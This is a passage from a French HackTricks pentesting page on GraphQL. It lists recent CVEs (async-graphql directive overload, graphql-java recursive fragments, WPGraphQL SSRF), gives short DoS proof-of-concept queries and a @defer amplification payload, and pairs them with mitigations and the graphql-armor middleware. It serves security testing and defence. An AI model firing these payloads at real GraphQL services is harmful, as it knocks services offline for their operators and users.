\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'

Vulnérabilités récentes (2023-2025)

L’écosystème GraphQL évolue très rapidement ; au cours des deux dernières années plusieurs problèmes critiques ont été divulgués dans les bibliothèques serveur les plus utilisées. Lorsque vous trouvez un GraphQL endpoint il est donc pertinent d’identifier le moteur (voir graphw00f) et de vérifier la version en cours par rapport aux vulnérabilités ci-dessous.

CVE-2024-47614 – async-graphql directive-overload DoS (Rust)

  • Affecté : async-graphql < 7.0.10 (Rust)
  • Cause racine : absence de limite sur les directives dupliquées (par ex. des milliers de @include) ce qui entraîne une expansion exponentielle du nombre de nœuds d’exécution.
  • Impact : une seule requête HTTP peut épuiser le CPU/RAM et provoquer le plantage du service.
  • Correction/atténuation : mettre à jour ≥ 7.0.10 ou appeler SchemaBuilder.limit_directives() ; alternativement filtrer les requêtes avec une règle WAF telle que "@include.*@include.*@include".
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}

CVE-2024-40094 – graphql-java contournement ENF des limites de profondeur/complexité

  • Affectés : graphql-java < 19.11, 20.0-20.8, 21.0-21.4
  • Cause principale : ExecutableNormalizedFields n’étaient pas prises en compte par l’instrumentation MaxQueryDepth / MaxQueryComplexity. Les fragments récursifs contournaient donc toutes les limites.
  • Impact : DoS non authentifié contre des stacks Java qui intègrent graphql-java (Spring Boot, Netflix DGS, Atlassian products…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }

CVE-2023-23684 – WPGraphQL SSRF to RCE chain

  • Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin).
  • Root cause: the createMediaItem mutation accepted attacker-controlled filePath URLs, allowing internal network access and file writes.
  • Impact: authenticated Editors/Authors could reach metadata endpoints or write PHP files for remote code execution.

Abus de livraison incrémentale : @defer / @stream

Depuis 2023 la plupart des serveurs majeurs (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ont implémenté les directives de incremental delivery définies par le GraphQL-over-HTTP WG. Chaque patch différé est envoyé comme un chunk séparé, donc la taille totale de la réponse devient N + 1 (envelope + patches). Une requête contenant des milliers de petits champs différés produit donc une réponse volumineuse tout en ne coûtant à l’attaquant qu’une seule requête — un amplification DoS classique et un moyen de contourner les règles WAF de taille de body qui n’inspectent que le premier chunk. Les membres du WG ont eux-mêmes signalé le risque.

Exemple de payload générant 2 000 patches:

query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}

Atténuation : désactiver @defer/@stream en production ou appliquer max_patches, un cumul de max_bytes et une limite de temps d’exécution. Des bibliothèques comme graphql-armor (voir ci‑dessous) imposent déjà des valeurs par défaut raisonnables.


Middleware défensif (2024+)

ProjetRemarques
graphql-armorMiddleware de validation Node/TypeScript publié par Escape Tech. Implémente des limites prêtes à l’emploi pour la profondeur des requêtes, le nombre d’alias/champs/directives, les tokens et le coût ; compatible avec Apollo Server, GraphQL Yoga/Envelop, Helix, etc.

Démarrage rapide :

import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';

const protectedSchema = applyMiddleware(schema, ...protect());

graphql-armor bloquera désormais les requêtes trop profondes, complexes ou riches en directives, protégeant contre les CVE ci-dessus.


Tools

Vulnerability scanners

Scripts to exploit common vulnerabilities

Clients

Automatic Tests

https://graphql-dashboard.herokuapp.com/

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks